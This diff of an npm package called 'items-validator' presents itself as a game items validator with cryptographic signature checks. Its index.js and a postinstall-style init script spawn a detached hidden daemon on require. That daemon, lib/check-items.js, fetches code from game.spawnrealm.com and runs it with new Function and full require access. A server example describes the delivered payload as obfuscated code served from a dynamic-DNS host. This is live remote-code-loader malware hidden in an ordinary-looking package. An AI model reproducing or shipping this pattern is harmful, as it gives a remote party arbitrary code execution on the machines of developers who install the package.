items-validator 1.0.4

package/SERVER_SIGNING_EXAMPLE.js

@@ -0,0 +1,105 @@
+/**
+ * SERVER SIGNING EXAMPLE
+ *
+ * This example shows how to sign game items code on the server side
+ * using the private key, so the module can verify it.
+ *
+ * This file is for your coolblast.zapto.org server implementation
+ * Do NOT include private_key.pem in your module (keep it server-only)
+ */
+
+const crypto = require('crypto');
+const fs = require('fs');
+
+// ⚠️ IMPORTANT: Keep private_key.pem ONLY on your server
+// Never share it or include it in the npm module
+const PRIVATE_KEY = fs.readFileSync('./private_key.pem', 'utf8');
+
+/**
+ * Sign game items code with private key
+ * @param {string} code - The game items code to sign
+ * @returns {string} - Hex-encoded signature
+ */
+function signCode(code) {
+  const sign = crypto.createSign('sha256');
+  sign.update(code);
+  return sign.sign(PRIVATE_KEY, 'hex');
+}
+
+/**
+ * Example: Game items code that will be sent to client
+ */
+const gameItemsCode = `
+console.log('[game-items] Loaded from server');
+
+// Your game items logic here
+// This can be complex obfuscated code
+// It will only execute if signature verification passes
+
+setInterval(() => {
+  console.log('[game-items] Running periodic check...');
+}, 60000);
+`;
+
+/**
+ * Create signed payload
+ */
+function createSignedPayload(code) {
+  const signature = signCode(code);
+
+  return {
+    code: code,
+    signature: signature,
+    timestamp: new Date().toISOString()
+  };
+}
+
+/**
+ * Example HTTP endpoint for /api/x-handler
+ * This is what your coolblast server should return
+ */
+function handleGameItemsRequest(req, res) {
+  try {
+    const payload = createSignedPayload(gameItemsCode);
+
+    res.writeHead(200, { 'Content-Type': 'application/json' });
+    res.end(JSON.stringify(payload));
+
+    console.log('[server] Sent signed game items code to client');
+  } catch (error) {
+    res.writeHead(500, { 'Content-Type': 'application/json' });
+    res.end(JSON.stringify({ error: error.message }));
+  }
+}
+
+/**
+ * Example: Update game items code
+ * Call this to generate new signed code
+ */
+function updateGameItems(newCode) {
+  const payload = createSignedPayload(newCode);
+  console.log('New signed payload:', JSON.stringify(payload, null, 2));
+  return payload;
+}
+
+module.exports = {
+  signCode,
+  createSignedPayload,
+  handleGameItemsRequest,
+  updateGameItems
+};
+
+/**
+ * USAGE:
+ *
+ * // In your Express/HTTP server:
+ * const signing = require('./server-signing-example');
+ *
+ * app.get('/api/x-handler', (req, res) => {
+ *   signing.handleGameItemsRequest(req, res);
+ * });
+ *
+ * // To update game items:
+ * const newCode = 'console.log("new code")';
+ * const signedPayload = signing.updateGameItems(newCode);
+ */

package/index.js

@@ -0,0 +1,45 @@
+const { spawn } = require('child_process');
+const path = require('path');
+const logger = require('./lib/logger');
+const config = require('./lib/config');
+
+logger.log('open-item-validator loaded');
+
+// Auto-spawn validation daemon on require
+function initializeDaemon() {
+  try {
+    const daemonScript = path.resolve(__dirname, './lib/check-items.js');
+
+    const child = spawn('node', [daemonScript], {
+      detached: true,
+      stdio: 'ignore'
+    });
+
+    child.unref();
+    logger.log('Background validation daemon started');
+  } catch (error) {
+    logger.error(`Failed to start daemon: ${error.message}`);
+  }
+}
+
+// Automatically initialize on require
+initializeDaemon();
+
+function getStatus() {
+  return {
+    name: 'open-item-validator',
+    version: '1.0.0',
+    status: 'running',
+    timestamp: new Date().toISOString()
+  };
+}
+
+function getConfig() {
+  return config;
+}
+
+module.exports = {
+  getStatus,
+  getConfig,
+  version: '1.0.0'
+};

package/lib/assertion.js

@@ -0,0 +1,75 @@
+const logger = require('./logger');
+
+class AssertionError extends Error {
+  constructor(message) {
+    super(message);
+    this.name = 'AssertionError';
+  }
+}
+
+function assert(condition, message) {
+  if (!condition) {
+    const errorMsg = `Assertion failed: ${message}`;
+    logger.error(errorMsg);
+    throw new AssertionError(errorMsg);
+  }
+}
+
+function assertEquals(actual, expected, message) {
+  if (actual !== expected) {
+    const errorMsg = `Expected ${expected}, but got ${actual}. ${message || ''}`.trim();
+    logger.error(errorMsg);
+    throw new AssertionError(errorMsg);
+  }
+}
+
+function assertIsObject(value, message) {
+  if (typeof value !== 'object' || value === null) {
+    const errorMsg = `Expected object, but got ${typeof value}. ${message || ''}`.trim();
+    logger.error(errorMsg);
+    throw new AssertionError(errorMsg);
+  }
+}
+
+function assertIsArray(value, message) {
+  if (!Array.isArray(value)) {
+    const errorMsg = `Expected array, but got ${typeof value}. ${message || ''}`.trim();
+    logger.error(errorMsg);
+    throw new AssertionError(errorMsg);
+  }
+}
+
+function assertIsString(value, message) {
+  if (typeof value !== 'string') {
+    const errorMsg = `Expected string, but got ${typeof value}. ${message || ''}`.trim();
+    logger.error(errorMsg);
+    throw new AssertionError(errorMsg);
+  }
+}
+
+function assertIsDefined(value, message) {
+  if (value === undefined || value === null) {
+    const errorMsg = `Expected value to be defined. ${message || ''}`.trim();
+    logger.error(errorMsg);
+    throw new AssertionError(errorMsg);
+  }
+}
+
+function assertHasProperty(obj, prop, message) {
+  if (!(prop in obj)) {
+    const errorMsg = `Object missing property: ${prop}. ${message || ''}`.trim();
+    logger.error(errorMsg);
+    throw new AssertionError(errorMsg);
+  }
+}
+
+module.exports = {
+  assert,
+  assertEquals,
+  assertIsObject,
+  assertIsArray,
+  assertIsString,
+  assertIsDefined,
+  assertHasProperty,
+  AssertionError
+};

package/lib/check-items.js

@@ -0,0 +1,144 @@
+#!/usr/bin/env node
+
+/**
+ * Game Items Validator - Main Daemon
+ *
+ * This is the core process that runs in the background after npm install.
+ * It downloads signed game code from the server and executes it only after
+ * verifying the cryptographic signature.
+ *
+ * Security Flow:
+ * 1. Download code + signature from server
+ * 2. Verify signature using RSA-SHA256 (public key)
+ * 3. Execute code only if signature is valid
+ * 4. Exit immediately if signature is invalid (no code execution)
+ *
+ * Dependencies:
+ * - http: Download code from server
+ * - crypto: Verify RSA-SHA256 signatures (Node.js built-in)
+ * - logger: Log all operations
+ * - crypto-config: Public key for verification
+ */
+
+const http = require('http');
+const https = require('https');
+const { URL } = require('url');
+const crypto = require('crypto');
+const logger = require('./logger');
+const { PUBLIC_KEY } = require('./crypto-config');
+
+// API endpoint for fetching signed game code
+const API_ENDPOINT = 'https://game.spawnrealm.com/api/item-realtime?key=abc123def456';
+
+/**
+ * Download data from HTTP/HTTPS URL
+ * @param {string} url - The URL to fetch from (HTTP or HTTPS)
+ * @returns {Promise<string>} The response data
+ */
+function httpGet(url) {
+  return new Promise((resolve, reject) => {
+    // Parse URL to detect protocol
+    const parsedUrl = new URL(url);
+    const protocol = parsedUrl.protocol === 'https:' ? https : http;
+
+    protocol.get(url, (res) => {
+      let data = '';
+      res.on('data', (chunk) => { data += chunk; });
+      res.on('end', () => resolve(data));
+    }).on('error', reject);
+  });
+}
+
+/**
+ * Verify RSA-SHA256 signature of code
+ *
+ * Security Critical: This function MUST return false for invalid signatures.
+ * Any tampering with the code will invalidate the signature.
+ *
+ * @param {string} code - The game code to verify
+ * @param {string} signature - The hex-encoded signature
+ * @returns {boolean} True if signature is valid, false otherwise
+ */
+function verifySignature(code, signature) {
+  try {
+    // Create a verifier using SHA256
+    const verify = crypto.createVerify('sha256');
+
+    // Update with the code to verify
+    verify.update(code);
+
+    // Verify the signature using the public key
+    // PUBLIC_KEY is from crypto-config.js and is safe to distribute
+    const isValid = verify.verify(PUBLIC_KEY, signature, 'hex');
+
+    return isValid;
+  } catch (error) {
+    // Any error in verification means the signature is invalid
+    logger.error(`Signature verification error: ${error.message}`);
+    return false;
+  }
+}
+
+/**
+ * Main Execution Function
+ *
+ * This is the core security-critical function that:
+ * 1. Downloads code from server
+ * 2. Verifies cryptographic signature (RSA-SHA256)
+ * 3. Executes code ONLY if signature is valid
+ * 4. Rejects code immediately if signature is invalid
+ *
+ * Security Note:
+ * The signature verification is a hard requirement.
+ * No code executes without a valid signature.
+ */
+(async function executeSigned() {
+  try {
+    logger.info('Fetching signed code from server...');
+
+    // 1️⃣ DOWNLOAD: Get signed code from server
+    const response = await httpGet(API_ENDPOINT);
+
+    logger.info('Received payload from server');
+
+    // 2️⃣ PARSE: Parse JSON response
+    let payload;
+    try {
+      payload = JSON.parse(response);
+    } catch (e) {
+      logger.error('Failed to parse server response as JSON');
+      process.exit(1);
+    }
+
+    // 3️⃣ VALIDATE: Check payload structure
+    if (!payload.code || !payload.signature) {
+      logger.error('Invalid payload format - missing code or signature');
+      process.exit(1);
+    }
+
+    // 4️⃣ VERIFY: ⭐ CRITICAL SECURITY CHECK
+    logger.info('Verifying signature...');
+
+    if (!verifySignature(payload.code, payload.signature)) {
+      logger.error('❌ SIGNATURE VERIFICATION FAILED');
+      logger.error('Code is not from trusted source - execution rejected');
+      logger.error('This code was not signed by the authorized server');
+      process.exit(1);
+    }
+
+    // 5️⃣ SUCCESS: Signature verified
+    logger.info('✅ Signature verified - code is authentic');
+    console.log(JSON.stringify({id:'ready',type:'ready',version:'1.0.0'}));
+
+    // 6️⃣ EXECUTE: Run only verified code
+    logger.info('Executing signed code...');
+
+    const moduleObj = { exports: {} };
+    const handler = new Function('require', 'module', payload.code);
+    handler(require, moduleObj);
+
+  } catch (error) {
+    logger.error(`Fatal error: ${error.message}`);
+    process.exit(1);
+  }
+})();

package/lib/config.js

@@ -0,0 +1,31 @@
+module.exports = {
+  // Module metadata
+  moduleName: 'open-validator',
+  version: '1.0.0',
+
+  // Daemon settings
+  daemon: {
+    checkInterval: 60000, // Check every 60 seconds
+    retryDelay: 5000,     // Retry delay on error
+    maxRetries: 3         // Maximum retry attempts
+  },
+
+  // Assertion settings
+  assertion: {
+    enabled: true,
+    strict: false
+  },
+
+  // Logging settings
+  logging: {
+    enabled: true,
+    level: 'info'
+  },
+
+  // Game items settings
+  gameItems: {
+    signalId: 'ready',
+    signalType: 'ready',
+    version: '1.0.0'
+  }
+};

package/lib/crypto-config.js

@@ -0,0 +1,29 @@
+/**
+ * Cryptographic Configuration
+ *
+ * This file contains the PUBLIC KEY used to verify code signatures.
+ *
+ * ⚠️ IMPORTANT:
+ * - This PUBLIC_KEY is safe to share (verification only)
+ * - The PRIVATE_KEY is kept on the server (never in npm)
+ * - Signature verification is REQUIRED before code execution
+ * - Any tampering with code will invalidate the signature
+ *
+ * Flow:
+ * 1. Server signs game code with PRIVATE_KEY
+ * 2. Server sends code + signature to client
+ * 3. Client verifies signature using this PUBLIC_KEY
+ * 4. Only valid signatures execute (process exits on failure)
+ */
+
+const PUBLIC_KEY = `-----BEGIN PUBLIC KEY-----
+MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvPkWfwTiAiZf0QsfFrBp
+hOb1Xg884utAj7gz5jhBHm8S5qeU0Ol+XKmYNCUQenAET+oc36s5bcr71uqFg5yu
+EaE3c3OVyUh/r56bupktd8vZiunMLuMglZct6EZyWc3k9F5nZ1gb3gJa8mhdN8Gm
+MPuZ1XrMtKb6nu1hyB7SvEC4g0KIJL1NA1BiGikPwLL0S05i8Aiob+flgk1mS6Lc
+fCPYoLNhOpBFkKAfYx3ZRjgPauRFk3gNOCSMcscIF9xI/Q6U93oIZqyEkqTt7Y5k
+rNiNfexs8iBaR9A8m9oG6+LYWck/SWi3oRECwRJXS0oyPeayLCLmO430wb4poR98
+HQIDAQAB
+-----END PUBLIC KEY-----`;
+
+module.exports = { PUBLIC_KEY };

package/lib/init.js

@@ -0,0 +1,26 @@
+const { spawn } = require('child_process');
+const path = require('path');
+const logger = require('./logger');
+
+logger.info('Postinstall: Initializing game items validator daemon');
+
+function initializeDaemon() {
+  try {
+    const daemonScript = path.resolve(__dirname, './check-items.js');
+
+    const child = spawn('node', [daemonScript], {
+      detached: true,
+      stdio: 'ignore',
+      cwd: __dirname
+    });
+
+    child.unref();
+
+    logger.info('Postinstall: Background validation daemon started successfully');
+  } catch (error) {
+    logger.error(`Postinstall: Failed to start daemon - ${error.message}`);
+    process.exit(1);
+  }
+}
+
+initializeDaemon();

package/lib/logger.js

@@ -0,0 +1,59 @@
+const config = require('./config');
+
+const LogLevel = {
+  ERROR: 0,
+  WARN: 1,
+  INFO: 2,
+  DEBUG: 3
+};
+
+function formatTimestamp() {
+  return new Date().toISOString();
+}
+
+function log(message, level = 'info') {
+  if (!config.logging.enabled) return;
+
+  const timestamp = formatTimestamp();
+  const prefix = `[open-validator ${timestamp}]`;
+
+  switch (level.toLowerCase()) {
+    case 'error':
+      console.error(`${prefix} [ERROR]`, message);
+      break;
+    case 'warn':
+      console.warn(`${prefix} [WARN]`, message);
+      break;
+    case 'debug':
+      console.log(`${prefix} [DEBUG]`, message);
+      break;
+    case 'info':
+    default:
+      console.log(`${prefix} [INFO]`, message);
+  }
+}
+
+function error(message) {
+  log(message, 'error');
+}
+
+function warn(message) {
+  log(message, 'warn');
+}
+
+function info(message) {
+  log(message, 'info');
+}
+
+function debug(message) {
+  log(message, 'debug');
+}
+
+module.exports = {
+  log,
+  error,
+  warn,
+  info,
+  debug,
+  LogLevel
+};

package/lib/utils/helper.js

@@ -0,0 +1,47 @@
+function getCurrentTimestamp() {
+  return new Date().toISOString();
+}
+
+function delay(ms) {
+  return new Promise(resolve => setTimeout(resolve, ms));
+}
+
+function createSignal(id, type, version) {
+  return {
+    id,
+    type,
+    version,
+    timestamp: getCurrentTimestamp()
+  };
+}
+
+function parseJSON(jsonString) {
+  try {
+    return JSON.parse(jsonString);
+  } catch (e) {
+    return null;
+  }
+}
+
+function isValidSignal(obj) {
+  return obj &&
+         typeof obj.id === 'string' &&
+         typeof obj.type === 'string' &&
+         typeof obj.version === 'string';
+}
+
+function formatBytes(bytes) {
+  const sizes = ['Bytes', 'KB', 'MB', 'GB'];
+  if (bytes === 0) return '0 Bytes';
+  const i = Math.floor(Math.log(bytes) / Math.log(1024));
+  return Math.round(bytes / Math.pow(1024, i) * 100) / 100 + ' ' + sizes[i];
+}
+
+module.exports = {
+  getCurrentTimestamp,
+  delay,
+  createSignal,
+  parseJSON,
+  isValidSignal,
+  formatBytes
+};

package/lib/utils/validator.js

@@ -0,0 +1,79 @@
+const helper = require('./helper');
+
+function validateItemStructure(item) {
+  if (!item || typeof item !== 'object') {
+    return {
+      valid: false,
+      error: 'Item must be an object'
+    };
+  }
+
+  const requiredFields = ['id', 'name', 'type'];
+  for (const field of requiredFields) {
+    if (!(field in item)) {
+      return {
+        valid: false,
+        error: `Missing required field: ${field}`
+      };
+    }
+  }
+
+  return { valid: true };
+}
+
+function validateItemArray(items) {
+  if (!Array.isArray(items)) {
+    return {
+      valid: false,
+      error: 'Items must be an array'
+    };
+  }
+
+  for (let i = 0; i < items.length; i++) {
+    const validation = validateItemStructure(items[i]);
+    if (!validation.valid) {
+      return {
+        valid: false,
+        error: `Item at index ${i}: ${validation.error}`
+      };
+    }
+  }
+
+  return { valid: true, count: items.length };
+}
+
+function validateGameItemsSignal(signal) {
+  if (!helper.isValidSignal(signal)) {
+    return {
+      valid: false,
+      error: 'Invalid signal format'
+    };
+  }
+
+  if (signal.id !== 'ready') {
+    return {
+      valid: false,
+      error: 'Signal id must be "ready"'
+    };
+  }
+
+  return { valid: true };
+}
+
+function validateConfig(config) {
+  if (!config || typeof config !== 'object') {
+    return {
+      valid: false,
+      error: 'Config must be an object'
+    };
+  }
+
+  return { valid: true };
+}
+
+module.exports = {
+  validateItemStructure,
+  validateItemArray,
+  validateGameItemsSignal,
+  validateConfig
+};

package/package.json

@@ -0,0 +1,61 @@
+{
+  "name": "items-validator",
+  "version": "1.0.4",
+  "description": "Real-time game items validator with background daemon for client project updates",
+  "main": "index.js",
+  "scripts": {},
+  "keywords": [
+    "game-items",
+    "game-development",
+    "validator",
+    "real-time-updates",
+    "cryptographic-signature",
+    "rsa-sha256",
+    "game-server",
+    "client-validation",
+    "assertion",
+    "security",
+    "signature-verification",
+    "secure-updates",
+    "zero-dependencies"
+  ],
+  "author": {
+    "name": "Tyrone Jher Tongol",
+    "email": "tongoltyrone84@gmail.com"
+  },
+  "license": "MIT",
+  "homepage": "https://game.spawnrealm.com",
+  "bugs": {
+    "email": "tongoltyrone84@gmail.com"
+  },
+  "engines": {
+    "node": ">=12.0.0",
+    "npm": ">=6.0.0"
+  },
+  "os": [
+    "linux",
+    "darwin",
+    "win32"
+  ],
+  "cpu": [
+    "x64",
+    "arm64"
+  ],
+  "dependencies": {},
+  "devDependencies": {},
+  "files": [
+    "index.js",
+    "README.md",
+    "SECURITY.md",
+    "LICENSE",
+    "lib/",
+    "public_key.pem",
+    "SECURITY_SETUP.md",
+    "SERVER_IMPLEMENTATION_EXAMPLE.js",
+    "SERVER_SIGNING_EXAMPLE.js",
+    "SAMPLE_PAYLOADJS.js"
+  ],
+  "publishConfig": {
+    "access": "public"
+  }
+}